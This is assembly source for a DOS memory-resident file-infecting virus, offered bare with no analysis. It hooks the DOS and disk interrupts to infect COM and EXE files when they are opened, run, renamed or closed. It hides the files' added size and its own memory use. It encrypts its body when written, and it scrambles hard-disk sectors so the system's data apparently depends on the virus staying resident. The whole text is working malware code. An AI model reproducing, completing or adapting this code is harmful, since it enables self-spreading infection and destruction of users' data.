Over	PROC	near
	push	dx
	push	bx
	push	cx
	push	si
	push	di
	push	ds
	push	es
	push	ax
	mov	si,dx
	mov	di,OFFSET caname
	push	cs
	pop	es
	lea	bx,[di-1]
	mov	cx,DLZFNB
ol1:	lodsb
	cmp	al,'a'
	jb	nmp
	cmp	al,'z'
	ja	nmp
	sub	al,'a'-'A'	;uppercase
nmp:	push	ax
	push	si
nzero:	cmp	al,' '
	jne	nomdz
	lodsb
	or	al,al
	jnz	nzero		;no ending spaces
	pop	si
	pop	si
	jmp	short nstfn
nomdz:	pop	si
	pop	ax
	cmp	al,'\'
	je	stfn
	cmp	al,'/'
	je	stfn
	cmp	al,':'
	jne	nstfn
stfn:	mov	bx,di
nstfn:	stosb
	or	al,al
	jz	whname
	loop	ol1
whname:	mov	si,OFFSET retaz
	sub	di,5
	push	cs
	pop	ds

	call	Porovnaj
	je	porok
	call	Porovnaj
	jne	oinok		;is it COM or EXE ?

porok:	pop	ax
	push	ax
	xchg	di,bx
	inc	di
	cmp	ax,4b00h
	jne	nnchk
	mov	si,OFFSET retaz2
	call	Porovnaj
	jne	nnchk		;is it CHKDSK ?
	mov	byte ptr ds:(OFFSET dtrad+1),OFFSET dnxt-OFFSET con1

nnchk:	mov	cx,POCKRP
	mov	si,OFFSET retaz1
ol2:	push	cx
	call	Porovnaj
	pop	cx
	je	oinok
	loop	ol2		;check for critical programs

	mov	si,OFFSET caname
	xor	bl,bl
	lodsw
	cmp	ah,':'
	jne	imdrv
	sub	al,'A'-1
	mov	bl,al
imdrv:	mov	ax,4408h
	call	Int21
	or	ax,ax
vsetky:	jz	oiok		;removable (floppy like)
	mov	ax,4409h
	call	Int21
	jc	oinok
	test	dh,10h
	jnz	oiok		;in network
oinok:	stc
okon:	pop	ax
	pop	es
	pop	ds
	pop	di
	pop	si
	pop	cx
	pop	bx
	pop	dx
	ret
oiok:;	mov	ax,0e07h
;	int	10h
	clc
	jmp	okon
Over	ENDP
Porovnaj PROC	near
	push	di
	lodsb
	mov	cl,al
	mov	ax,si
	add	ax,cx
	repe	cmpsb
	mov	si,ax
	pop	di
	ret
Porovnaj ENDP

Identify PROC	near		;is file inf. ?
	push	dx
	mov	ax,es:[bx+2]
	xor	dx,dx
	div	cs:v30
	mov	ax,es:[bx]
	and	al,11111b
	cmp	al,dl
	stc
	je	iekon		;already infected
	mov	ax,es:[bx]
	and	ax,0ffe0h
	or	al,dl
	clc
iekon:	pop	dx
	ret
Identify ENDP

Subdlz	PROC	near
	sub	word ptr es:[bx],DLZVIR
	sbb	word ptr es:[bx+2],0
	jnc	npret
	add	word ptr es:[bx],DLZVIR
	adc	word ptr es:[bx+2],0
npret:	ret
Subdlz	ENDP
;************** TSR 21h part *************
Infname	PROC	near		;DS:DX = file name
	push	ax
	push	bx
	push	cx
	push	si
	push	di
	push	bp
	push	ds
	push	es
	call	Nastav24
	mov	ax,4300h
	call	Int21
	mov	cs:attrib,cx
	mov	ax,4301h
	xor	cx,cx
	call	Int21
	jc	err1
	mov	ax,3d02h
	call	Int21
	jc	err2
	push	dx
	push	ds
	push	cs
	pop	ds
	push	cs
	pop	es
	mov	handle,ax
	call	Infikuj
	mov	ah,3eh
	call	Mhandle
	pop	ds
	pop	dx
err2:	mov	ax,4301h
	DB	0b9h
attrib	DW	?		;mov	cx,attrib
	call	Int21
err1:	call	Vrat24
	pop	es
	pop	ds
	pop	bp
	pop	di
	pop	si
	pop	cx
	pop	bx
	pop	ax
	ret
Infname	ENDP

res21:	pushf
	sti
	cmp	ah,11h
	je	dtrad
	cmp	ah,12h
	jne	dnxt
dtrad:	jmp	short con1	;switched jump condition
con1:	push	bx
	push	es
	push	ax
	mov	ah,2fh
	call	Int21
	pop	ax
	call	Int21
	cmp	al,0ffh
	je	dterr
	push	ax
	cmp	byte ptr es:[bx],0ffh
	jne	nrozs
	add	bx,7
nrozs:	add	bx,17h
	call	Identify
	pop	ax
	jnc	dterr
	add	bx,1dh-17h
	call	Subdlz
dterr:	pop	es
	pop	bx
	popf
	iret
dnxt:	cmp	ah,4eh
	je	drozs
	cmp	ah,4fh
	jne	ndnxt
drozs:	push	bx
	push	es
	push	ax
	mov	ah,2fh
	call	Int21
	pop	ax
	call	Int21
	jc	droze
	push	ax
	add	bx,16h
	call	Identify
	pop	ax
	jnc	drozne
	add	bx,1ah-16h
	call	Subdlz
drozne:	pop	es
	pop	bx
	popf
	clc
	retf	2
droze:	pop	es
	pop	bx
	popf
	stc
	retf	2
ndnxt:	cmp	ax,4b53h
	jne	obrnxt
	mov	ax,454bh
	popf
	iret
obrnxt:	cmp	ah,4ch
	jne	nkprg
	mov	byte ptr cs:(OFFSET dtrad+1),0
nkprg:	cld
	push	dx
	cmp	ax,4b00h
        jne	nsppg
con3:	jmp	short miim
miim:	push	ax
	push	bx
	push	ds
	push	es
	mov	ah,52h
	call	Int21
	mov	ax,es:[bx-02h]
nmcb:	mov	ds,ax
	add	ax,ds:03h
	inc	ax
	cmp	byte ptr ds:00h,'Z'
	jne	nmcb
	mov	bx,cs
	cmp	ax,bx
	jne	cpch
	mov	byte ptr ds:00h,'M'
	xor	ax,ax
	mov	ds,ax
	add	word ptr ds:0413h,POCKIL	;memory look improvement
cpch:	mov	byte ptr cs:(OFFSET con3+1),OFFSET aiim-OFFSET miim
	pop	es
	pop	ds
	pop	bx
	pop	ax
aiim:	jmp	short infac
nsppg:	cmp	ah,3dh
	je	infac
;	cmp	ah,43h
;	je	infac
	cmp	ah,56h
	je	infac
	cmp	ax,6c00h
	jne	nxts
	test	dl,00010010b
	mov	dx,si
	jz	infac
	jmp	short saveh
nxts:	cmp	ah,3ch
	je	saveh
	cmp	ah,5bh
	je	saveh
	cmp	ah,3eh
	jne	jor21
	cmp	bx,cs:chandle
	jne	jor21
	or	bx,bx
	jz	jor21
	call	Int21
	jc	mirets
	push	ds
	push	cs
	pop	ds
	mov	dx,OFFSET fname
	call	Infname
	mov	chandle,0
	pop	ds
miretc:	pop	dx
	popf
	clc
	retf	2
jor21:	pop	dx
	popf
	jmp	cs:oriv21

infac:	call	Over
	jc	jor21
	call	Infname
	jmp	short jor21

saveh:	cmp	cs:chandle,0
	jne	jor21
	call	Over
	jc	jor21
	mov	cs:rhdx,dx
	pop	dx
	push	dx
	call	Int21
	db	0bah
rhdx	DW	?	;mov	dx,rhdx
	jnc	shok
mirets:	pop	dx
	popf
	stc
	retf	2
shok:	push	cx
	push	si
	push	di
	push	es
	xchg	si,dx
	mov	di,OFFSET chandle
	push	cs
	pop	es
	stosw
	mov	cx,DLZFNB
	rep	movsb
	pop	es
	pop	di
	pop	si
	pop	cx
	jmp	short miretc

	DB	'DidYouLeaveTheRoom?'
order	DW	1230            ;very important year :)
endvir	LABEL	near

Zakoduj	PROC 	near
	mov	cx,DLZVIR
	xor	dx,dx		;OFFSET stvir
	call	zp1
	mov	ah,40h
	mov	bx,handle
	pushf
	DB	9ah		;call	oriv21
oriv21	DD	?
	jc	zk1
	cmp	ax,cx
zk1:	pushf
	call	zp1
	popf
	ret
zp1:	push	cx
	mov	si,dx
zkmax:	mov	ax,0000h
	mov	cx,DLZVIR
zp2:	xor	[si],ax
zkaax:	add	ax,0000h
	inc	si
	loop	zp2
	pop	cx
	ret
Zakoduj	ENDP

res24:	mov	al,03h
	iret

Int13	PROC	near
	pushf
	call	cs:oriv13
	ret
Int13	ENDP
Tosi	PROC	near
	push	cx
	push	dx
	shr	cl,1
	shr	cl,1
	and	dh,11000000b
	or	dh,cl
	mov	cl,4
	shr	dh,cl
	mov	dl,ch
	xchg	si,dx
	pop	dx
	pop	cx
	ret
Tosi	ENDP
Skramb	PROC	near
	push	ax
	push	bx
	push	cx
	DB	0b0h		;mov	al,kolzak
kolzak	DB	?
	DB	0b8h		;mov	bx,odkzak
odkzak	DW	?
nxtss:	mov	cx,256
ls1:	xor	word ptr es:[bx],1212h
	inc	bx
	inc	bx
	loop	ls1
	dec	al
	jnz	nxtss
	pop	cx
	pop	bx
	pop	ax
	ret
Skramb	ENDP
res13:	cmp	ah,02h
	je	rtc
	cmp	ah,03h
	je	rtc
	jmp	jtoo
rtc:	cmp	dx,0080h
	jne	encode
	test	cx,0ffc0h
	jnz	encode
	push	bx
	push	dx
	push	si
	push	di
	push	cx
	push	cx
	mov	si,ax
	and	si,00ffh
	mov	di,si
	mov	al,01h
	push	ax
	jz	bzch		;if AL=0 do nothing
	jcxz	gchi
	cmp	cl,01h
	je	obbs
nxtsc:	cmp	cl,17		;if sector number > max. then error
	ja	gchi
r13ds:	cmp	cl,07h
	jb	ctoo
	cmp	ah,03h
	je	gchi
	push	bx
	mov	cx,512
flbf:	mov	byte ptr es:[bx],00h
	inc	bx
	loop	flbf
	pop	bx
rtcom:	add	bx,512
	pop	ax
	pop	cx
	inc	cx
	push	cx
	push	ax
	dec	si
	jnz	nxtsc
bzch:	clc
zav:	pop	ax
	pushf
	xchg	ax,di
	sub	ax,si
	popf
	mov	ah,ch
	pop	cx
	pop	cx
	pop	di
	pop	si
	pop	dx
	pop	bx
	retf	2
obbs:	mov	cl,byte ptr cs:(OFFSET r13ds+2)
ctoo:	call	Int13
	mov	ch,ah
	jc	zav
	jmp	rtcom
gchi:	stc
	mov	ch,0bbh		;undefined error
	jmp	zav

encode: cmp	dl,80h		;encoding resp. decoding
	jne	jtoo
	push	ax
	push	cx
	push	dx
	push	si
	push	ds
	push	cs
	pop	ds
	mov	kolzak,0
	mov	odkzak,bx
	call	Tosi
	and	cl,3fh
	and	dh,3fh
chdnd:	or	al,al
	jz	htvo
	cmp	si,1234h	;max. cyl.
	jae	htvo
cnflte:	cmp	si,1234h	;min. cyl.
	jb	tdal
	inc	kolzak
	jmp	short nxslp
tdal:	add	odkzak,512
nxslp:	dec	al
	inc	cl
	DB	80h,0f9h,?
	jbe	chdnd
	mov	cl,1
	inc	dh
	DB	80h,0feh,?
	jbe	chdnd
	xor	dh,dh
	inc	si
	jmp	chdnd
htvo:	cmp	kolzak,0
	pop	ds
	pop	si
	pop	dx
	pop	cx
	pop	ax
	je	jtoo
	cmp	ah,02h
	je	eckn
	call	Skramb
eckn:	call	zInt13
	pushf
	call	Skramb
	popf
	retf	2
jtoo:	DB	0eah
oriv13	DD	?

handle	DW	?
header	strc	<>
off24	DW	?
seg24	DW	?
ftime	DW	?
fdate	DW	?
chandle	DW	?
fname	DB	DLZFNB DUP(?)
ibuf	LABEL	byte		;variables for mutation
caname	DB	DLZFNB DUP(1)

endres	LABEL	near
Vkod	ENDS
	END 	start